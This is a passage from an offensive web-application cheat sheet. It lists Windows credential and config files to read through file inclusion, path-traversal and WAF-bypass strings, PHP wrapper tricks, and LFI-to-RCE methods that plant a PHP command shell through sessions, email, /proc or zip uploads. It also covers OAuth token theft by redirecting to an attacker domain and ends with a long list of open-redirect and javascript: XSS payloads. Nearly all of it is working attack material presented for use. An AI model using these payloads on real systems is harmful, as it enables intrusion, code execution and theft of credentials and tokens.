C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err 
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log 
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err 
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log 
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf 
C:/Program Files/MySQL/MySQL Server 5.0/my.ini 
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf 
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf 
C:/Program Files (x86)/Apache Group/Apache/conf/access.log 
C:/Program Files (x86)/Apache Group/Apache/conf/error.log 
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml 
C:/Program Files (x86)/xampp/apache/conf/httpd.conf 
C:/WINDOWS/php.ini 
C:/WINDOWS/Repair/SAM 
C:/Windows/repair/system 
C:/Windows/repair/software  
C:/Windows/repair/security 
C:/WINDOWS/System32/drivers/etc/hosts 
C:/Windows/win.ini 
C:/WINNT/php.ini 
C:/WINNT/win.ini  
C:/xampp/apache/bin/php.ini 
C:/xampp/apache/logs/access.log  
C:/xampp/apache/logs/error.log 
C:/Windows/Panther/Unattend/Unattended.xml 
C:/Windows/Panther/Unattended.xml 
C:/Windows/debug/NetSetup.log 
C:/Windows/system32/config/AppEvent.Evt 
C:/Windows/system32/config/SecEvent.Evt 
C:/Windows/system32/config/default.sav 
C:/Windows/system32/config/security.sav 
C:/Windows/system32/config/software.sav 
C:/Windows/system32/config/system.sav 
C:/Windows/system32/config/regback/default 
C:/Windows/system32/config/regback/sam 
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system 
C:/Windows/system32/config/regback/software 
C:/Program Files/MySQL/MySQL Server 5.1/my.ini 
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml 
C:/Windows/System32/inetsrv/config/applicationHost.config 
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log
C:/WINDOWS/system32/drivers/etc/hosts
C:/WINDOWS/system32/win.ini
C:/WINDOWS/system32/debug/NetSetup.log
C:/WINDOWS/system32/config/AppEvent.Evt
C:/WINDOWS/system32/config/SecEvent.Evt
C:/WINDOWS/Panther/sysprep.inf
C:/WINDOWS/system32/eula.txt
C:/WINDOWS/system32/license.rtf
```


# Bypass Techniques

### General

```bash
#Null byte (%00)
http://web.com/index.php?page=../../../etc/passwd%00

#URL encoding
http://web.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://web.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://web.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://web.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

#Path Truncation
##In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
```

### PHP Wrappers

```bash
#Base64
http://web.com/index.php?page=php://filter/convert.base64-encode/resource=index.php

#Zlib (compression)
http://web.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
#To read it, execute this in your php console
readfile('php://filter/zlib.inflate/resource=test.deflated');

#Data - #Bypass Chrome Auditor
http://web.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
```

### WAF Bypass

```bash
file:/etc/passwd?/
file:/etc/passwd%3F/
file:/etc%252Fpasswd/
file:/etc%252Fpasswd%3F/
file:///etc/?/../passwd
file:///etc/%3F/../passwd
file:${br}/et${u}c/pas${te}swd?/
file:$(br)/et$(u)c/pas$(te)swd?/
```


# LFI to RCE

### Php sessions method <a href="#php-sessions-method" id="php-sessions-method"></a>

```bash
#Check if the website use PHP
SESSIDSet-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Tue, 30-Jun-2020 10:25:29 GMT; path=/; httponly

​#In php sessions are store into /var/lib/php5/sess_PHPSESSID files
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";​

#Set the cookie to <?php system("whoami"); ?>
login=1&user=<?php system("whoami");?>&pass=password&lang=en_us.php​

#Use the LFI to include the PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2​
```

### Email method <a href="#email-method" id="email-method"></a>

```bash
#Send a mail to internal account (user@localhost) containing:
<?php echo system($_REQUEST["cmd"]); ?>
#Access to the mail (/var/mail/USER&cmd=whoami)
```

### /proc/\*/fd/\* method <a href="#proc-fd-method" id="proc-fd-method"></a>

```bash
#Upload a lot of shells
http://web.com/index.php?page=/proc/$PID/fd/$FD
#$PID = PID of the proccess (can be bruteforced)
#$FD = filedescriptor (can be bruteforced)
```

### Ssh method <a href="#ssh-method" id="ssh-method"></a>

```bash
#Check which user is being used (/proc/self/status - /etc/passwd)
/home/hax0r/.ssh/id_rsa #hax0r = User is being used
```

### Using a zip upload <a href="#phpinfo-method" id="phpinfo-method"></a>

```
1. Create a .php file (rce.php)
2. Compress it to a .zip file (file.zip)
3. Upload your .zip file on the vulnerable web application
4. Trigger the RCE:
https://site.com/index.php?page=zip://path/file.zip%23rce.php
```

### Phpinfo() method <a href="#phpinfo-method" id="phpinfo-method"></a>

To exploit this you need: page where phpinfo() is displayed, "file\_uploads=on" and the server has to be able to write in "/tmp" directory.

{% embed url="<https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py>" %}
Script to exploit Phpinfo() method
{% endembed %}


# OAuth

### Grabbing OAuth Token via redirect\_uri

Redirect to a controlled domain to get the access token.

```csharp
https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
```

OAuth implementations should never whitelist entire domains, only a few URLs so that "redirect\_uri" can’t be pointed to an Open Redirect.

Sometimes you need to change the scope to an invalid one to bypass a filter on redirect\_uri:

```csharp
https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
```

### Executing XSS via redirect\_uri

```csharp
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
```

### OAuth private key disclosure

Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.

### Cross-Site Request Forgery

Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks.


# Open Redirect

### Common Bypasses

```bash
#Using Base64 - urlencode(base64(//google.com\@whitelisteddomain.tld))
Ly9nb29nbGUuY29tXEB3aGl0ZWxpc3RlZGRvbWFpbi50bGQ%3D
```

### Common Injection Points

Add your payload at the end of the line.

```
/
?next=
?url=
?target=
?rurl=
?dest=
?destination=
?redir=
?redirect_uri=
?redirect_url=
?redirect=
/redirect/
/cgi-bin/redirect.cgi?
/out/
/out?
?view=
/login?to=
?image_url=
?go=
?return=
?returnTo=
?return_to=
?checkout_url=
?continue=
?return_path=
```

### Payloads

Change whitelisteddomain with an specific white listed domain of your case. Ex: [www.web.com](http://www.web.com)

```
//localdomain.pw/%2f..
//www.whitelisteddomain.tld@localdomain.pw/%2f..
///localdomain.pw/%2f..
///www.whitelisteddomain.tld@localdomain.pw/%2f..
////localdomain.pw/%2f..
////www.whitelisteddomain.tld@localdomain.pw/%2f..
https://localdomain.pw/%2f..
https://www.whitelisteddomain.tld@localdomain.pw/%2f..
/https://localdomain.pw/%2f..
/https://www.whitelisteddomain.tld@localdomain.pw/%2f..
//localdomain.pw/%2f%2e%2e
//www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
///localdomain.pw/%2f%2e%2e
///www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
////localdomain.pw/%2f%2e%2e
////www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
https://localdomain.pw/%2f%2e%2e
https://www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
/https://localdomain.pw/%2f%2e%2e
/https://www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
//localdomain.pw/
//www.whitelisteddomain.tld@localdomain.pw/
///localdomain.pw/
///www.whitelisteddomain.tld@localdomain.pw/
////localdomain.pw/
////www.whitelisteddomain.tld@localdomain.pw/
https://localdomain.pw/
https://www.whitelisteddomain.tld@localdomain.pw/
/https://localdomain.pw/
/https://www.whitelisteddomain.tld@localdomain.pw/
//localdomain.pw//
//www.whitelisteddomain.tld@localdomain.pw//
///localdomain.pw//
///www.whitelisteddomain.tld@localdomain.pw//
////localdomain.pw//
////www.whitelisteddomain.tld@localdomain.pw//
https://localdomain.pw//
https://www.whitelisteddomain.tld@localdomain.pw//
//https://localdomain.pw//
//https://www.whitelisteddomain.tld@localdomain.pw//
//localdomain.pw/%2e%2e%2f
//www.whitelisteddomain.tld@localdomain.pw/%2e%2e%2f
///localdomain.pw/%2e%2e%2f
///www.whitelisteddomain.tld@localdomain.pw/%2e%2e%2f
////localdomain.pw/%2e%2e%2f
////www.whitelisteddomain.tld@localdomain.pw/%2e%2e%2f
https://localdomain.pw/%2e%2e%2f
https://www.whitelisteddomain.tld@localdomain.pw/%2e%2e%2f
//https://localdomain.pw/%2e%2e%2f
//https://www.whitelisteddomain.tld@localdomain.pw/%2e%2e%2f
///localdomain.pw/%2e%2e
///www.whitelisteddomain.tld@localdomain.pw/%2e%2e
////localdomain.pw/%2e%2e
////www.whitelisteddomain.tld@localdomain.pw/%2e%2e
https:///localdomain.pw/%2e%2e
https:///www.whitelisteddomain.tld@localdomain.pw/%2e%2e
//https:///localdomain.pw/%2e%2e
//www.whitelisteddomain.tld@https:///localdomain.pw/%2e%2e
/https://localdomain.pw/%2e%2e
/https://www.whitelisteddomain.tld@localdomain.pw/%2e%2e
///localdomain.pw/%2f%2e%2e
///www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
////localdomain.pw/%2f%2e%2e
////www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
https:///localdomain.pw/%2f%2e%2e
https:///www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
/https://localdomain.pw/%2f%2e%2e
/https://www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
/https:///localdomain.pw/%2f%2e%2e
/https:///www.whitelisteddomain.tld@localdomain.pw/%2f%2e%2e
/%09/localdomain.pw
/%09/www.whitelisteddomain.tld@localdomain.pw
//%09/localdomain.pw
//%09/www.whitelisteddomain.tld@localdomain.pw
///%09/localdomain.pw
///%09/www.whitelisteddomain.tld@localdomain.pw
////%09/localdomain.pw
////%09/www.whitelisteddomain.tld@localdomain.pw
https://%09/localdomain.pw
https://%09/www.whitelisteddomain.tld@localdomain.pw
/%5clocaldomain.pw
/%5cwww.whitelisteddomain.tld@localdomain.pw
//%5clocaldomain.pw
//%5cwww.whitelisteddomain.tld@localdomain.pw
///%5clocaldomain.pw
///%5cwww.whitelisteddomain.tld@localdomain.pw
////%5clocaldomain.pw
////%5cwww.whitelisteddomain.tld@localdomain.pw
https://%5clocaldomain.pw
https://%5cwww.whitelisteddomain.tld@localdomain.pw
/https://%5clocaldomain.pw
/https://%5cwww.whitelisteddomain.tld@localdomain.pw
https://localdomain.pw
https://www.whitelisteddomain.tld@localdomain.pw
javascript:alert(1);
javascript:alert(1)
//javascript:alert(1);
/javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1)
javascript:%0aalert`1`
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
java%0d%0ascript%0d%0a:alert(0)
//localdomain.pw
http:localdomain.pw
https:localdomain.pw
//localdomain%E3%80%82pw
\/\/localdomain.pw/
/\/localdomain.pw/
/%2f%5c%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77/
//\/localdomain.pw/
//localdomain%00.pw
https://www.whitelisteddomain.tld/https://localdomain.pw/
";alert(0);//
javascript://www.whitelisteddomain.tld?%a0alert%281%29
http://0xd8.0x3a.0xd6.0xce
http://www.whitelisteddomain.tld@0xd8.0x3a.0xd6.0xce
http://3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce
http://XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce
http://0xd83ad6ce
http://www.whitelisteddomain.tld@0xd83ad6ce
http://3H6k7lIAiqjfNeN@0xd83ad6ce
http://XY>.7d8T\205pZM@0xd83ad6ce
http://3627734734
http://www.whitelisteddomain.tld@3627734734
http://3H6k7lIAiqjfNeN@3627734734
http://XY>.7d8T\205pZM@3627734734
http://472.314.470.462
http://www.whitelisteddomain.tld@472.314.470.462
http://3H6k7lIAiqjfNeN@472.314.470.462
http://XY>.7d8T\205pZM@472.314.470.462
http://0330.072.0326.0316
http://www.whitelisteddomain.tld@0330.072.0326.0316
http://3H6k7lIAiqjfNeN@0330.072.0326.0316
http://XY>.7d8T\205pZM@0330.072.0326.0316
http://00330.00072.0000326.00000316
http://www.whitelisteddomain.tld@00330.00072.0000326.00000316
http://3H6k7lIAiqjfNeN@00330.00072.0000326.00000316
http://XY>.7d8T\205pZM@00330.00072.0000326.00000316
http://[::216.58.214.206]
http://www.whitelisteddomain.tld@[::216.58.214.206]
http://3H6k7lIAiqjfNeN@[::216.58.214.206]
http://XY>.7d8T\205pZM@[::216.58.214.206]
http://[::ffff:216.58.214.206]
http://www.whitelisteddomain.tld@[::ffff:216.58.214.206]
http://3H6k7lIAiqjfNeN@[::ffff:216.58.214.206]
http://XY>.7d8T\205pZM@[::ffff:216.58.214.206]
http://0xd8.072.54990
http://www.whitelisteddomain.tld@0xd8.072.54990
http://3H6k7lIAiqjfNeN@0xd8.072.54990
http://XY>.7d8T\205pZM@0xd8.072.54990
http://0xd8.3856078
http://www.whitelisteddomain.tld@0xd8.3856078
http://3H6k7lIAiqjfNeN@0xd8.3856078
http://XY>.7d8T\205pZM@0xd8.3856078
http://00330.3856078
http://www.whitelisteddomain.tld@00330.3856078
http://3H6k7lIAiqjfNeN@00330.3856078
http://XY>.7d8T\205pZM@00330.3856078
http://00330.0x3a.54990
http://www.whitelisteddomain.tld@00330.0x3a.54990
http://3H6k7lIAiqjfNeN@00330.0x3a.54990
http://XY>.7d8T\205pZM@00330.0x3a.54990
http:0xd8.0x3a.0xd6.0xce
http:www.whitelisteddomain.tld@0xd8.0x3a.0xd6.0xce
http:3H6k7lIAiqjfNeN@0xd8.0x3a.0xd6.0xce
http:XY>.7d8T\205pZM@0xd8.0x3a.0xd6.0xce
http:0xd83ad6ce
http:www.whitelisteddomain.tld@0xd83ad6ce
http:3H6k7lIAiqjfNeN@0xd83ad6ce
http:XY>.7d8T\205pZM@0xd83ad6ce
http:3627734734
http:www.whitelisteddomain.tld@3627734734
http:3H6k7lIAiqjfNeN@3627734734
http:XY>.7d8T\205pZM@3627734734
http:472.314.470.462
http:www.whitelisteddomain.tld@472.314.470.462
http:3H6k7lIAiqjfNeN@472.314.470.462
http:XY>.7d8T\205pZM@472.314.470.462
http:0330.072.0326.0316
http:www.whitelisteddomain.tld@0330.072.0326.0316
http:3H6k7lIAiqjfNeN@0330.072.0326.0316
http:XY>.7d8T\205pZM@0330.072.0326.0316
http:00330.00072.0000326.00000316
http:www.whitelisteddomain.tld@00330.00072.0000326.00000316
http:3H6k7lIAiqjfNeN@00330.00072.0000326.00000316
http:XY>.7d8T\205pZM@00330.00072.0000326.00000316
http:[::216.58.214.206]
http:www.whitelisteddomain.tld@[::216.58.214.206]
http:3H6k7lIAiqjfNeN@[::216.58.214.206]
http:XY>.7d8T\205pZM@[::216.58.214.206]
http:[::ffff:216.58.214.206]
http:www.whitelisteddomain.tld@[::ffff:216.58.214.206]
http:3H6k7lIAiqjfNeN@[::ffff:216.58.214.206]
http:XY>.7d8T\205pZM@[::ffff:216.58.214.206]
http:0xd8.072.54990
http:www.whitelisteddomain.tld@0xd8.072.54990
http:3H6k7lIAiqjfNeN@0xd8.072.54990
http:XY>.7d8T\205pZM@0xd8.072.54990
http:0xd8.3856078
http:www.whitelisteddomain.tld@0xd8.3856078
http:3H6k7lIAiqjfNeN@0xd8.3856078
http:XY>.7d8T\205pZM@0xd8.3856078
http:00330.3856078
http:www.whitelisteddomain.tld@00330.3856078
http:3H6k7lIAiqjfNeN@00330.3856078
http:XY>.7d8T\205pZM@00330.3856078
http:00330.0x3a.54990
http:www.whitelisteddomain.tld@00330.0x3a.54990
http:3H6k7lIAiqjfNeN@00330.0x3a.54990
http:XY>.7d8T\205pZM@00330.0x3a.54990
〱localdomain.pw
〵localdomain.pw
ゝlocaldomain.pw
ーlocaldomain.pw
ｰlocaldomain.pw
/〱localdomain.pw
/〵localdomain.pw
/ゝlocaldomain.pw
/ーlocaldomain.pw
/ｰlocaldomain.pw
%68%74%74%70%73%3a%2f%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77
https://%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77
<>javascript:alert(1);
<>//localdomain.pw
//localdomain.pw\@www.whitelisteddomain.tld
https://:@localdomain.pw\@www.whitelisteddomain.tld
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
ja\nva\tscript\r:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
\152\141\166\141\163\143\162\151\160\164\072alert(1)
http://localdomain.pw:80#@www.whitelisteddomain.tld/
http://localdomain.pw:80?@www.whitelisteddomain.tld/
http://3H6k7lIAiqjfNeN@www.whitelisteddomain.tld+@localdomain.pw/
http://3H6k7lIAiqjfNeN@www.whitelisteddomain.tld⁺@localdomain.pw/
http://XY>.7d8T\205pZM@www.whitelisteddomain.tld+@localdomain.pw/
http://XY>.7d8T\205pZM@www.whitelisteddomain.tld⁺@localdomain.pw/
http://3H6k7lIAiqjfNeN@www.whitelisteddomain.tld@localdomain.pw/
http://XY>.7d8T\205pZM@www.whitelisteddomain.tld@localdomain.pw/
http://www.whitelisteddomain.tld+&@localdomain.pw#+@www.whitelisteddomain.tld/
http://www.whitelisteddomain.tld⁺&@localdomain.pw#⁺@www.whitelisteddomain.tld/
http://localdomain.pw\twww.whitelisteddomain.tld/
//localdomain.pw:80#@www.whitelisteddomain.tld/
//localdomain.pw:80?@www.whitelisteddomain.tld/
//3H6k7lIAiqjfNeN@www.whitelisteddomain.tld+@localdomain.pw/
//3H6k7lIAiqjfNeN@www.whitelisteddomain.tld⁺@localdomain.pw/
//XY>.7d8T\205pZM@www.whitelisteddomain.tld+@localdomain.pw/
//XY>.7d8T\205pZM@www.whitelisteddomain.tld⁺@localdomain.pw/
//3H6k7lIAiqjfNeN@www.whitelisteddomain.tld@localdomain.pw/
//XY>.7d8T\205pZM@www.whitelisteddomain.tld@localdomain.pw/
//www.whitelisteddomain.tld+&@localdomain.pw#+@www.whitelisteddomain.tld/
//www.whitelisteddomain.tld⁺&@localdomain.pw#⁺@www.whitelisteddomain.tld/
//localdomain.pw\twww.whitelisteddomain.tld/
//;@localdomain.pw
//﹔@localdomain.pw
http://;@localdomain.pw
http://﹔@localdomain.pw
@localdomain.pw
javascript://https://www.whitelisteddomain.tld/?z=%0Aalert(1)
data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=
http://localdomain.pw%2f%2f.www.whitelisteddomain.tld/
http://localdomain.pw%5c%5c.www.whitelisteddomain.tld/
http://localdomain.pw%3F.www.whitelisteddomain.tld/
http://localdomain.pw%23.www.whitelisteddomain.tld/
http://www.whitelisteddomain.tld:80%40localdomain.pw/
http://www.whitelisteddomain.tld%2elocaldomain.pw/
/x:1/:///%01javascript:alert(document.cookie)/
/https:/%5clocaldomain.pw/
https:/%5clocaldomain.pw/
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascripT://www.whitelisteddomain.tld/%250d%250aalert(document.cookie)
/http://localdomain.pw
/%2f%2flocaldomain.pw
//%2f%2flocaldomain.pw
/localdomain.pw/%2f%2e%2e
/http:/localdomain.pw
http:/localdomain.pw
/.localdomain.pw
http://.localdomain.pw
.localdomain.pw
///\;@localdomain.pw
///\﹔@localdomain.pw
///localdomain.pw
/////localdomain.pw/
/////localdomain.pw
ja&Tab;vascript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;alert(1)
javascript&#x3A;alert()
javascript:alert&lpar;&rpar;
javascript:al&#x65;rt``
javascript:alert%60%60
javascript:x='%27-alert(1)-%27';
javascript:%61%6c%65%72%74%28%29
javascript:a\u006Cert``"
javascript:\u0061\u006C\u0065\u0072\u0074``
java%0ascript:alert(1)
%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(1)
java%09script:alert(1)
java%0dscript:alert(1)
javascript://%0aalert(1)
javascript://%0aalert`1`
Javas%26%2399;ript:alert(1)
data:www.whitelisteddomain.tld;text/html;charset=UTF-8,<html><script>document.write(document.domain);</script><iframe/src=xxxxx>aaaa</iframe></html>
jaVAscript://www.whitelisteddomain.tld//%0d%0aalert(1);//
http://www.localdomain.pw\.www.whitelisteddomain.tld
%19Jav%09asc%09ript:https%20://www.whitelisteddomain.tld/%250Aconfirm%25281%2529
%01https://localdomain.pw
www.whitelisteddomain.tld;@localdomain.pw
www.whitelisteddomain.tld﹔@localdomain.pw
https://www.whitelisteddomain.tld;@localdomain.pw
https://www.whitelisteddomain.tld﹔@localdomain.pw
http:%0a%0dlocaldomain.pw
https://%0a%0dlocaldomain.pw
localdomain.pw/www.whitelisteddomain.tld
https://localdomain.pw/www.whitelisteddomain.tld
//localdomain.pw/www.whitelisteddomain.tld
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..
//www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..
///www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..
////www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..
https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..
https://www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..
/https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..
/https://www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
//www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
///www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
////www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
https://www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
/https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
/https://www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
//www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
///www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
////www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
https://www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
/https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
/https://www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//
//www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//
///www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//
////www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//
https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//
https://www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//
//https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//
//https://www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f
//www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f
///www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f
////www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f
https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f
https://www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f
//https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f
//https://www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e
///www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e
////www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e
https:///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e
https:///www.whitelisteddomain.tld@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e
